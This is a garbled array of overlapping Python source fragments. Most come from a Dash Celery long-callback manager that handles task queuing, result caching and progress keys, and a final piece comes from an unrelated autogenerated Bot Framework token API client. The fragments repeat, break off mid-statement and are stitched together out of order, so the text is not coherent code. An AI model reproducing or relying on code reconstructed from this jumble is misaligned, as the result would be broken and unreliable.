job: return self.handle.AsyncResult(job)", "task = self.get_task(job) if task and task.status in (\"FAILURE\", \"REVOKED\"):", "None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task = self.get_task(job) if", "If not provided, the lifetime of cache entries is determined", "caching if self.cache_by is None: self.clear_cache_entry(key) else: if self.expire: #", "be a celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance", "= fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args,", "these functions are combined with the callback function's input arguments", "will be removed when it has not been accessed for", "ImportError as missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra dependencies", "by the default behavior of the celery result backend. \"\"\"", "__init__(self, celery_app, cache_by=None, expire=None): \"\"\" Long callback manager that runs", "information on configuration options. :param cache_by: A list of zero-argument", "cache keys. :param expire: If provided, a cache entry will", "can be installed doing $ pip install \"dash[celery]\"\\n\"\"\" ) from", "must be configured with a result backend. See the celery", "CeleryLongCallbackManager requires extra dependencies which can be installed doing $", "job_fn(result_key, progress_key, user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress", "BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None): \"\"\" Long", "self.handle = celery_app self.expire = expire def terminate_job(self, job): if", "from missing_imports if not isinstance(celery_app, celery.Celery): raise ValueError(\"First argument must", "fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args, fn=fn): def", "result backend. :param celery_app: A celery.Celery application instance that must", "key, job): # Get result value result = self.handle.backend.get(key) if", "args): task = job_fn.delay(key, self._make_progress_key(key), args) return task.task_id def get_progress(self,", "self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def _make_job_fn(fn, celery_app, progress, args_deps): cache", "functions. When provided, caching is enabled and the return values", "on configuration options. :param cache_by: A list of zero-argument functions.", "stable) celery task name fn_source = inspect.getsource(fn) fn_str = fn_source", "args_deps): cache = celery_app.backend # Hash function source and module", "generate cache keys. :param expire: If provided, a cache entry", "configuration options. :param cache_by: A list of zero-argument functions. When", "is None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task = self.get_task(job)", "key): progress_key = self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if progress_data: return", "for information on configuration options. :param cache_by: A list of", "Get result value result = self.handle.backend.get(key) if result is None:", "ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra dependencies which can be installed", "expire: If provided, a cache entry will be removed when", "user_callback_output = fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list, tuple)): user_callback_output =", "progress, args_deps): cache = celery_app.backend # Hash function source and", "Long callback manager that runs callback logic on a celery", "self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data) return None", "= self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data) return None def result_ready(self,", "# Hash function source and module to create a unique", "else [] if isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress, **user_callback_args) elif", "def terminate_unhealthy_job(self, job): task = self.get_task(job) if task and task.status", "self.get_task(job) return future and future.status in ( \"PENDING\", \"RECEIVED\", \"STARTED\",", "self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data) return None def result_ready(self, key):", "that must be configured with a result backend. See the", "self.expire: # Set/update expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return", "result def _make_job_fn(fn, celery_app, progress, args_deps): cache = celery_app.backend #", "task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False def job_running(self,", "from celery.backends.base import ( # pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except", "( # pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError as missing_imports:", "key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args): task = job_fn.delay(key,", "self.handle.backend.get(key) is not None def get_result(self, key, job): # Get", "celery result backend. \"\"\" try: import celery # pylint: disable=import-outside-toplevel,import-error", "def make_job_fn(self, fn, progress, args_deps): return _make_job_fn(fn, self.handle, progress, args_deps)", "removed when it has not been accessed for ``expire`` seconds.", "a celery result backend. :param celery_app: A celery.Celery application instance", "When provided, caching is enabled and the return values of", "from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None,", "task and task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False", "progress_data: return json.loads(progress_data) return None def result_ready(self, key): return self.handle.backend.get(key)", "job): if job: return self.handle.AsyncResult(job) return None def clear_cache_entry(self, key):", "cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if progress else []", "configured with a result backend\") super().__init__(cache_by) self.handle = celery_app self.expire", ") def make_job_fn(self, fn, progress, args_deps): return _make_job_fn(fn, self.handle, progress,", "as missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra dependencies which", "(list, tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args) else: user_callback_output = fn(*maybe_progress,", "runs callback logic on a celery task queue, and stores", "behavior of the celery result backend. \"\"\" try: import celery", "fn_source = inspect.getsource(fn) fn_str = fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\")", "A list of zero-argument functions. When provided, caching is enabled", "isinstance(args_deps, (list, tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args) else: user_callback_output =", "lifetime of cache entries is determined by the default behavior", "return self.terminate_job(job) return False def job_running(self, job): future = self.get_task(job)", "if not isinstance(celery_app, celery.Celery): raise ValueError(\"First argument must be a", "return future and future.status in ( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\",", "def job_running(self, job): future = self.get_task(job) return future and future.status", "*user_callback_args) else: user_callback_output = fn(*maybe_progress, user_callback_args) cache.set(result_key, json.dumps(user_callback_output, cls=PlotlyJSONEncoder)) return", "None: self.clear_cache_entry(key) else: if self.expire: # Set/update expiration time self.handle.backend.expire(key,", "if progress_data: return json.loads(progress_data) return None def result_ready(self, key): return", "self.get_task(job) if task and task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job)", "pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError as missing_imports: raise ImportError(", "except ImportError as missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires extra", "return json.loads(progress_data) return None def result_ready(self, key): return self.handle.backend.get(key) is", "disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError as missing_imports: raise ImportError( \"\"\"\\", "args) return task.task_id def get_progress(self, key): progress_key = self._make_progress_key(key) progress_data", "future = self.get_task(job) return future and future.status in ( \"PENDING\",", "terminate_unhealthy_job(self, job): task = self.get_task(job) if task and task.status in", "A celery.Celery application instance that must be configured with a", "None result = json.loads(result) # Clear result if not caching", "return result def _make_job_fn(fn, celery_app, progress, args_deps): cache = celery_app.backend", "user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress]", "the celery documentation for information on configuration options. :param cache_by:", "[_set_progress] if progress else [] if isinstance(args_deps, dict): user_callback_output =", "= inspect.getsource(fn) fn_str = fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def", "future.status in ( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", ) def", "inspect import hashlib from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import", "progress_key = self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data)", "enabled and the return values of these functions are combined", "= celery_app self.expire = expire def terminate_job(self, job): if job", "return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task = self.get_task(job) if task", "value result = self.handle.backend.get(key) if result is None: return None", "\"REVOKED\"): return self.terminate_job(job) return False def job_running(self, job): future =", "requires extra dependencies which can be installed doing $ pip", "unique (but stable) celery task name fn_source = inspect.getsource(fn) fn_str", "progress, args_deps): return _make_job_fn(fn, self.handle, progress, args_deps) def get_task(self, job):", "options. :param cache_by: A list of zero-argument functions. When provided,", "cache entry will be removed when it has not been", "job: return self.handle.AsyncResult(job) return None def clear_cache_entry(self, key): self.handle.backend.delete(key) def", "not None def get_result(self, key, job): # Get result value", "a celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance must", "import inspect import hashlib from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers", "seconds. If not provided, the lifetime of cache entries is", "call_job_fn(self, key, job_fn, args): task = job_fn.delay(key, self._make_progress_key(key), args) return", "on a celery task queue, and stores results using a", "in ( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", ) def make_job_fn(self,", "_make_job_fn(fn, celery_app, progress, args_deps): cache = celery_app.backend # Hash function", "missing_imports if not isinstance(celery_app, celery.Celery): raise ValueError(\"First argument must be", "dict): user_callback_output = fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list, tuple)): user_callback_output", "result value result = self.handle.backend.get(key) if result is None: return", "fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args, fn=fn):", "# pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError as missing_imports: raise", "to generate cache keys. :param expire: If provided, a cache", "``expire`` seconds. If not provided, the lifetime of cache entries", "Set/update expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def", "def get_result(self, key, job): # Get result value result =", "= self.handle.backend.get(key) if result is None: return None result =", "accessed for ``expire`` seconds. If not provided, the lifetime of", "job_fn.delay(key, self._make_progress_key(key), args) return task.task_id def get_progress(self, key): progress_key =", "= [_set_progress] if progress else [] if isinstance(args_deps, dict): user_callback_output", "key, job_fn, args): task = job_fn.delay(key, self._make_progress_key(key), args) return task.task_id", "celery.Celery): raise ValueError(\"First argument must be a celery.Celery object\") if", "self._make_progress_key(key), args) return task.task_id def get_progress(self, key): progress_key = self._make_progress_key(key)", "provided, the lifetime of cache entries is determined by the", "a unique (but stable) celery task name fn_source = inspect.getsource(fn)", "fn(*maybe_progress, *user_callback_args) else: user_callback_output = fn(*maybe_progress, user_callback_args) cache.set(result_key, json.dumps(user_callback_output, cls=PlotlyJSONEncoder))", "_set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if progress else", "documentation for information on configuration options. :param cache_by: A list", "make_job_fn(self, fn, progress, args_deps): return _make_job_fn(fn, self.handle, progress, args_deps) def", "combined with the callback function's input arguments and source code", "= hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key, user_callback_args, fn=fn): def _set_progress(progress_value):", "extra dependencies which can be installed doing $ pip install", "task name fn_source = inspect.getsource(fn) fn_str = fn_source fn_hash =", "job is None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task =", "cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if progress else [] if isinstance(args_deps,", "task = job_fn.delay(key, self._make_progress_key(key), args) return task.task_id def get_progress(self, key):", "False def job_running(self, job): future = self.get_task(job) return future and", "DisabledBackend): raise ValueError(\"Celery instance must be configured with a result", "result = self.handle.backend.get(key) if result is None: return None result", "celery.backends.base import ( # pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError", "zero-argument functions. When provided, caching is enabled and the return", "self.clear_cache_entry(key) else: if self.expire: # Set/update expiration time self.handle.backend.expire(key, self.expire)", "celery_app.backend # Hash function source and module to create a", "job): task = self.get_task(job) if task and task.status in (\"FAILURE\",", "result_ready(self, key): return self.handle.backend.get(key) is not None def get_result(self, key,", "been accessed for ``expire`` seconds. If not provided, the lifetime", "provided, caching is enabled and the return values of these", "= self.get_task(job) if task and task.status in (\"FAILURE\", \"REVOKED\"): return", "return _make_job_fn(fn, self.handle, progress, args_deps) def get_task(self, job): if job:", "# Clear result if not caching if self.cache_by is None:", "manager that runs callback logic on a celery task queue,", "PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app,", "the return values of these functions are combined with the", "backend. See the celery documentation for information on configuration options.", "provided, a cache entry will be removed when it has", "doing $ pip install \"dash[celery]\"\\n\"\"\" ) from missing_imports if not", "using a celery result backend. :param celery_app: A celery.Celery application", "pylint: disable=import-outside-toplevel,import-error from celery.backends.base import ( # pylint: disable=import-outside-toplevel,import-error DisabledBackend,", "entries is determined by the default behavior of the celery", "install \"dash[celery]\"\\n\"\"\" ) from missing_imports if not isinstance(celery_app, celery.Celery): raise", "return values of these functions are combined with the callback", "_make_job_fn(fn, self.handle, progress, args_deps) def get_task(self, job): if job: return", "celery task queue, and stores results using a celery result", "when it has not been accessed for ``expire`` seconds. If", "DisabledBackend, ) except ImportError as missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager", "job_running(self, job): future = self.get_task(job) return future and future.status in", "\"RETRY\", \"PROGRESS\", ) def make_job_fn(self, fn, progress, args_deps): return _make_job_fn(fn,", "self.handle.backend.get(key) if result is None: return None result = json.loads(result)", "None def clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args):", "disable=import-outside-toplevel,import-error from celery.backends.base import ( # pylint: disable=import-outside-toplevel,import-error DisabledBackend, )", "args_deps): return _make_job_fn(fn, self.handle, progress, args_deps) def get_task(self, job): if", ") except ImportError as missing_imports: raise ImportError( \"\"\"\\ CeleryLongCallbackManager requires", "celery # pylint: disable=import-outside-toplevel,import-error from celery.backends.base import ( # pylint:", "future and future.status in ( \"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\",", "import json import inspect import hashlib from _plotly_utils.utils import PlotlyJSONEncoder", "celery documentation for information on configuration options. :param cache_by: A", "is None: return None result = json.loads(result) # Clear result", "must be configured with a result backend\") super().__init__(cache_by) self.handle =", "def get_progress(self, key): progress_key = self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if", "for ``expire`` seconds. If not provided, the lifetime of cache", "= job_fn.delay(key, self._make_progress_key(key), args) return task.task_id def get_progress(self, key): progress_key", "if job: return self.handle.AsyncResult(job) return None def clear_cache_entry(self, key): self.handle.backend.delete(key)", "argument must be a celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend): raise", "clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self, key, job_fn, args): task =", "cache entries is determined by the default behavior of the", "self.expire = expire def terminate_job(self, job): if job is None:", "progress else [] if isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress, **user_callback_args)", "def _make_job_fn(fn, celery_app, progress, args_deps): cache = celery_app.backend # Hash", "be removed when it has not been accessed for ``expire``", "= fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list, tuple)): user_callback_output = fn(*maybe_progress,", "else: if self.expire: # Set/update expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key))", "cache_by=None, expire=None): \"\"\" Long callback manager that runs callback logic", "if self.cache_by is None: self.clear_cache_entry(key) else: if self.expire: # Set/update", "a cache entry will be removed when it has not", "stores results using a celery result backend. :param celery_app: A", "of cache entries is determined by the default behavior of", "expire def terminate_job(self, job): if job is None: return self.handle.control.terminate(job)", "configured with a result backend. See the celery documentation for", "a celery task queue, and stores results using a celery", "create a unique (but stable) celery task name fn_source =", "and source code to generate cache keys. :param expire: If", "determined by the default behavior of the celery result backend.", "celery result backend. :param celery_app: A celery.Celery application instance that", "result is None: return None result = json.loads(result) # Clear", "if isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list,", "fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if", "if self.expire: # Set/update expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job)", "fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list, tuple)): user_callback_output = fn(*maybe_progress, *user_callback_args)", "be configured with a result backend. See the celery documentation", "celery_app, progress, args_deps): cache = celery_app.backend # Hash function source", "backend. \"\"\" try: import celery # pylint: disable=import-outside-toplevel,import-error from celery.backends.base", "hashlib from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class", "which can be installed doing $ pip install \"dash[celery]\"\\n\"\"\" )", "(but stable) celery task name fn_source = inspect.getsource(fn) fn_str =", "(\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return False def job_running(self, job): future", "Hash function source and module to create a unique (but", "self.terminate_job(job) return False def job_running(self, job): future = self.get_task(job) return", "None: return None result = json.loads(result) # Clear result if", "time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def _make_job_fn(fn, celery_app,", "task.task_id def get_progress(self, key): progress_key = self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key)", "= fn(*maybe_progress, *user_callback_args) else: user_callback_output = fn(*maybe_progress, user_callback_args) cache.set(result_key, json.dumps(user_callback_output,", "a result backend\") super().__init__(cache_by) self.handle = celery_app self.expire = expire", "terminate_job(self, job): if job is None: return self.handle.control.terminate(job) def terminate_unhealthy_job(self,", "not caching if self.cache_by is None: self.clear_cache_entry(key) else: if self.expire:", "the lifetime of cache entries is determined by the default", "job_fn, args): task = job_fn.delay(key, self._make_progress_key(key), args) return task.task_id def", "\"PENDING\", \"RECEIVED\", \"STARTED\", \"RETRY\", \"PROGRESS\", ) def make_job_fn(self, fn, progress,", "application instance that must be configured with a result backend.", "args_deps) def get_task(self, job): if job: return self.handle.AsyncResult(job) return None", "progress_key, user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress =", "values of these functions are combined with the callback function's", "= self.get_task(job) return future and future.status in ( \"PENDING\", \"RECEIVED\",", "json import inspect import hashlib from _plotly_utils.utils import PlotlyJSONEncoder from", ":param cache_by: A list of zero-argument functions. When provided, caching", "and module to create a unique (but stable) celery task", "= expire def terminate_job(self, job): if job is None: return", "self.handle.AsyncResult(job) return None def clear_cache_entry(self, key): self.handle.backend.delete(key) def call_job_fn(self, key,", "import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self,", ") from missing_imports if not isinstance(celery_app, celery.Celery): raise ValueError(\"First argument", "= self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if progress_data: return json.loads(progress_data) return", "import hashlib from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager", "of the celery result backend. \"\"\" try: import celery #", "result backend\") super().__init__(cache_by) self.handle = celery_app self.expire = expire def", "must be a celery.Celery object\") if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery", "arguments and source code to generate cache keys. :param expire:", "result = json.loads(result) # Clear result if not caching if", "key): return self.handle.backend.get(key) is not None def get_result(self, key, job):", "object\") if isinstance(celery_app.backend, DisabledBackend): raise ValueError(\"Celery instance must be configured", ":param celery_app: A celery.Celery application instance that must be configured", "def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if progress", "inspect.getsource(fn) fn_str = fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key,", "def call_job_fn(self, key, job_fn, args): task = job_fn.delay(key, self._make_progress_key(key), args)", "\"\"\" Long callback manager that runs callback logic on a", "input arguments and source code to generate cache keys. :param", "list of zero-argument functions. When provided, caching is enabled and", "functions are combined with the callback function's input arguments and", "result backend. \"\"\" try: import celery # pylint: disable=import-outside-toplevel,import-error from", "the callback function's input arguments and source code to generate", "fn_str = fn_source fn_hash = hashlib.sha1(fn_str.encode(\"utf-8\")).hexdigest() @celery_app.task(name=f\"long_callback_{fn_hash}\") def job_fn(result_key, progress_key,", "result backend. See the celery documentation for information on configuration", "\"STARTED\", \"RETRY\", \"PROGRESS\", ) def make_job_fn(self, fn, progress, args_deps): return", "= json.loads(result) # Clear result if not caching if self.cache_by", "def terminate_job(self, job): if job is None: return self.handle.control.terminate(job) def", ":param expire: If provided, a cache entry will be removed", "get_task(self, job): if job: return self.handle.AsyncResult(job) return None def clear_cache_entry(self,", "get_progress(self, key): progress_key = self._make_progress_key(key) progress_data = self.handle.backend.get(progress_key) if progress_data:", "the celery result backend. \"\"\" try: import celery # pylint:", "celery.Celery application instance that must be configured with a result", "from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager):", "$ pip install \"dash[celery]\"\\n\"\"\" ) from missing_imports if not isinstance(celery_app,", "import ( # pylint: disable=import-outside-toplevel,import-error DisabledBackend, ) except ImportError as", "caching is enabled and the return values of these functions", "the default behavior of the celery result backend. \"\"\" try:", "# pylint: disable=import-outside-toplevel,import-error from celery.backends.base import ( # pylint: disable=import-outside-toplevel,import-error", "# Set/update expiration time self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result", "callback manager that runs callback logic on a celery task", "of these functions are combined with the callback function's input", "def job_fn(result_key, progress_key, user_callback_args, fn=fn): def _set_progress(progress_value): cache.set(progress_key, json.dumps(progress_value, cls=PlotlyJSONEncoder))", "\"\"\"\\ CeleryLongCallbackManager requires extra dependencies which can be installed doing", "if task and task.status in (\"FAILURE\", \"REVOKED\"): return self.terminate_job(job) return", "isinstance(args_deps, dict): user_callback_output = fn(*maybe_progress, **user_callback_args) elif isinstance(args_deps, (list, tuple)):", "self.handle.backend.expire(key, self.expire) self.clear_cache_entry(self._make_progress_key(key)) self.terminate_job(job) return result def _make_job_fn(fn, celery_app, progress,", "task queue, and stores results using a celery result backend.", "instance must be configured with a result backend\") super().__init__(cache_by) self.handle", "None def get_result(self, key, job): # Get result value result", "and stores results using a celery result backend. :param celery_app:", "Clear result if not caching if self.cache_by is None: self.clear_cache_entry(key)", "a result backend. See the celery documentation for information on", "class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None): \"\"\" Long callback", "json.dumps(progress_value, cls=PlotlyJSONEncoder)) maybe_progress = [_set_progress] if progress else [] if", "queue, and stores results using a celery result backend. :param", "be configured with a result backend\") super().__init__(cache_by) self.handle = celery_app", "CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None): \"\"\" Long callback manager", "get_result(self, key, job): # Get result value result = self.handle.backend.get(key)", "import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None): \"\"\"", "\"\"\" try: import celery # pylint: disable=import-outside-toplevel,import-error from celery.backends.base import", "not been accessed for ``expire`` seconds. If not provided, the", "self.handle.control.terminate(job) def terminate_unhealthy_job(self, job): task = self.get_task(job) if task and", "dependencies which can be installed doing $ pip install \"dash[celery]\"\\n\"\"\"" ]
[ "credentials: None :param str base_url: Service URL \"\"\" def __init__(self,", "the MIT License. See License.txt in the project root for", "._configuration import TokenApiClientConfiguration from .operations import BotSignInOperations from .operations import", "self.config, self._serialize, self._deserialize ) self.user_token = UserTokenOperations( self._client, self.config, self._serialize,", "msrest import Serializer, Deserializer from ._configuration import TokenApiClientConfiguration from .operations", "the project root for # license information. # # Code", "= \"token\" self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in =", "from .operations import BotSignInOperations from .operations import UserTokenOperations from .", "client subscription. :type credentials: None :param str base_url: Service URL", "\"token\" self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self.bot_sign_in = BotSignInOperations(", "BotSignInOperations from .operations import UserTokenOperations from . import models class", "Generator. # Changes may cause incorrect behavior and will be", "bot_sign_in: BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations", "self._deserialize ) self.user_token = UserTokenOperations( self._client, self.config, self._serialize, self._deserialize )", "in models.__dict__.items() if isinstance(v, type) } self.api_version = \"token\" self._serialize", "TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models = { k: v", "-------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. #", ".operations import UserTokenOperations from . import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient", "license information. # # Code generated by Microsoft (R) AutoRest", "BotSignInOperations( self._client, self.config, self._serialize, self._deserialize ) self.user_token = UserTokenOperations( self._client,", "\"\"\" def __init__(self, credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient,", "by Microsoft (R) AutoRest Code Generator. # Changes may cause", "from .operations import UserTokenOperations from . import models class TokenApiClient(SDKClient):", "= TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models = { k:", "Changes may cause incorrect behavior and will be lost if", "import Serializer, Deserializer from ._configuration import TokenApiClientConfiguration from .operations import", "behavior and will be lost if the code is #", ":vartype config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations", "self).__init__(self.config.credentials, self.config) client_models = { k: v for k, v", "incorrect behavior and will be lost if the code is", "{ k: v for k, v in models.__dict__.items() if isinstance(v,", "MIT License. See License.txt in the project root for #", "AutoRest Code Generator. # Changes may cause incorrect behavior and", "TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token:", "} self.api_version = \"token\" self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models)", "import BotSignInOperations from .operations import UserTokenOperations from . import models", "may cause incorrect behavior and will be lost if the", "botframework.tokenapi.operations.UserTokenOperations :param credentials: Subscription credentials which uniquely identify client subscription.", "project root for # license information. # # Code generated", "See License.txt in the project root for # license information.", "config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar", "isinstance(v, type) } self.api_version = \"token\" self._serialize = Serializer(client_models) self._deserialize", "if isinstance(v, type) } self.api_version = \"token\" self._serialize = Serializer(client_models)", "# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed", "base_url=None): self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models =", "= { k: v for k, v in models.__dict__.items() if", "self.config = TokenApiClientConfiguration(credentials, base_url) super(TokenApiClient, self).__init__(self.config.credentials, self.config) client_models = {", ". import models class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration for", "Service URL \"\"\" def __init__(self, credentials, base_url=None): self.config = TokenApiClientConfiguration(credentials,", "generated by Microsoft (R) AutoRest Code Generator. # Changes may", "msrest.service_client import SDKClient from msrest import Serializer, Deserializer from ._configuration", "in the project root for # license information. # #", "v in models.__dict__.items() if isinstance(v, type) } self.api_version = \"token\"", "uniquely identify client subscription. :type credentials: None :param str base_url:", "TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration for client. :vartype config: TokenApiClientConfiguration", "k: v for k, v in models.__dict__.items() if isinstance(v, type)", "regenerated. # -------------------------------------------------------------------------- from msrest.service_client import SDKClient from msrest import", "reserved. # Licensed under the MIT License. See License.txt in", ":vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype user_token: botframework.tokenapi.operations.UserTokenOperations", "self.bot_sign_in = BotSignInOperations( self._client, self.config, self._serialize, self._deserialize ) self.user_token =", "credentials which uniquely identify client subscription. :type credentials: None :param", "str base_url: Service URL \"\"\" def __init__(self, credentials, base_url=None): self.config", "BotSignIn operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype", "# # Code generated by Microsoft (R) AutoRest Code Generator.", "identify client subscription. :type credentials: None :param str base_url: Service", "from ._configuration import TokenApiClientConfiguration from .operations import BotSignInOperations from .operations", "client. :vartype config: TokenApiClientConfiguration :ivar bot_sign_in: BotSignIn operations :vartype bot_sign_in:", "is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client import SDKClient from", "Corporation. All rights reserved. # Licensed under the MIT License.", "# -------------------------------------------------------------------------- from msrest.service_client import SDKClient from msrest import Serializer,", "# Licensed under the MIT License. See License.txt in the", "operations :vartype bot_sign_in: botframework.tokenapi.operations.BotSignInOperations :ivar user_token: UserToken operations :vartype user_token:", "import TokenApiClientConfiguration from .operations import BotSignInOperations from .operations import UserTokenOperations", "# Changes may cause incorrect behavior and will be lost", "class TokenApiClient(SDKClient): \"\"\"TokenApiClient :ivar config: Configuration for client. :vartype config:", "models.__dict__.items() if isinstance(v, type) } self.api_version = \"token\" self._serialize =", "= BotSignInOperations( self._client, self.config, self._serialize, self._deserialize ) self.user_token = UserTokenOperations(", "# 